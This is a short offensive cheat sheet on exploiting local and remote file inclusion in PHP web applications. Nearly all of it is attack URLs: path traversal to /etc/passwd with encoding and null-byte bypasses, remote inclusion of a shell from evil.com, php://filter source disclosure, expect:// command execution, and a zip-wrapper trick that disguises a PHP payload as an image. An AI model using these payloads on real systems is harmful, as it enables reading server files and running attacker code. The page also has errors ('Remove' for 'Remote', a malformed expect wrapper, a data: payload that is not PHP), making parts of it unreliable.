Exploiting Local/Remove File Inclusion

What is LFI / RFI?

Local/Remove File Inclusion vulnerability allows an attacker to exploit a dynamic file inclusion mechanism of a web application to access files outside the intended spectre.

What is LFI / RFI?

Local/Remove File Inclusion vulnerability allows an attacker to exploit a dynamic file inclusion mechanism of a web application to access files outside the intended spectre.

LFI / RFI Cheat Sheet

http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=../../../etc/passwd%00
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
http://example.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=../../../../[…]../../../../../etc/passwd
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=http://evil.com/shell.txt
http://example.com/index.php?page=http://evil.com/shell.txt%00
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls
http://example.com/index.php?page=path/to/uploaded/file.png
http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

LFI Wrapper with ZIP

zip payload.zip payload.php;   
mv payload.zip shell.jpg;    
rm payload.php   

http://example.com/index.php?page=zip://shell.jpg%23payload.php